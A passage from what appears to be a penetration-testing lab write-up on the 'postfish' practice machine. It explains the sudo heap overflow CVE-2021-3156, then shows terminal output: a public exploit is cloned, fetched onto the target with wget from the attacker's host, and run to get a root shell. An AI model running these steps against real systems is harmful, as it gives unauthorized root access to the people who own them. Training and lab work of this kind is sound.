CVE-2021-3156
PEAS has identified that the target system is vulnerable to CVE-2021-3156
a vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function
sudoers_policy_main
. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.
Exploit
Exploit found online
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/postfish]
└─$ git clone https://github.com/worawit/CVE-2021-3156 ; tar -czf CVE-2021-3156.tar.gz CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 86 (delta 16), reused 11 (delta 11), pack-reused 68 (from 1)
Receiving objects: 100% (86/86), 41.76 KiB | 1.44 MiB/s, done.
Resolving deltas: 100% (46/46), done.
Downloaded and packaged
Exploitation
brian.moore@postfish:/var/tmp$ wget -q http://192.168.45.192/CVE-2021-3156.tar.gz ; tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156
Delivery complete
brian.moore@postfish:/var/tmp/CVE-2021-3156$ python3 ./exploit_nss.py
# whoami
root
# hostname
postfish
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:19:f2 brd ff:ff:ff:ff:ff:ff
inet 192.168.111.137/24 brd 192.168.111.255 scope global ens160
valid_lft forever preferred_lft forever
System level compromise